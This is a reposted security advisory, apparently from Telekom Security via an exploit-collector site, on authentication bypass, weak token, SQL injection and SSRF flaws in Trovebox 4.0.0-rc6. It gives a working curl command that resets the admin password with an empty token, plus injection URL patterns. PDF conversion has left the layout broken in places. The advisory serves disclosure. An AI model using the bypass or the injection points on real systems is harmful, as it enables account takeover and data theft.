Trovebox 4.0.0-Rc6 SQL Injection Bypss SSRF
Trovebox 4.0.0-Rc6 SQL Injection Bypss SSRF
Trovebox 4.0.0-Rc6 SQL Injection Bypss SSRF
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Exploit Collector
Trovebox versions 4.0.0-rc6 and below suffer from authentication bypass, server-side request forgery,
MD5 | 4f1421667f2b120bcf321218e53f6bbe
Download
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Exploit Collector Telekom Security
security.telekom.com
Overview:
"Trovebox is software that helps you manage, organize and share photos. It
includes web and mobile apps for Android and iOS. The goal of Trovebox is to
be software which people love to use and helps them preserve their digial
media files." [1]
Details:
Trovebox puts JSON serialized data in a table column and deserializes this
data when accessing it. If an accessed dictionary key can not be found in
this result, bool(false) is returned. The passwordReset() function makes use
of an unsafe comparison which allows to pass this check if there is no
active token saved for the user:
//ApiUserController.php, L89
$user = new User;
$token = $_POST['token'];
$password = $_POST['password'];
$passwordConfirm = $_POST['password-confirm'];
$tokenFromDb = $user->getAttribute('passwordToken');
if($tokenFromDb != $token)
return $this->error('Could not validate password reset token.', false);
Note that this will always reset the password for the owner/admin account,
because the email address is not used here. By using an empty string ("") as
the password token, the password can then be changed.
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Example:
Exploit Collector
$ curl localhost/user/password/reset.json \
-d "token=&password=x&password-confirm=x"
{"message":"Password was updated successfully.","code":200,"result":true}
//ApiUserController.php, L59
$token = md5(rand(10000,100000));
Example: /photos/album-1'[SQL]/list
Example: /photos/album/list?album=1'[SQL]
The webhook subscribe function does not sufficient filter the passed
callback url, thus allowing an authenticated user to access internal services
and hosts.
References:
[1]: https://github.com/photo/frontend
Disclosure Timeline:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
11. February 2018 - Details sent to core contributor.
Exploit Collector
21.
26.
March
April
2018
2018
-
-
Contributor pushed first patches.
Patch merged.
30. April 2018 - Advisory published.
Telekom Security is the security provider for Deutsche Telekom and Deutsche
Telekom customers.
https://security.telekom.com
https://github.com/telekomsecurity
http://www.sicherheitstacho.eu
https://telekomsecurity.github.io/2018/04/trovebox-vulnerabilities.html
Source: packetstormsecurity.com
Related Posts
KitPloit - PenTe…
Like Page
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Exploit Collector Follow @KitPloit 101K followers
KitPloit
google.com/+KitploitWeb
Follow
Popular Posts
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
62 bytes small Linux/x86 read /etc/passwd shellcode.
Exploit Collector
Exploit Collector
Archive
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD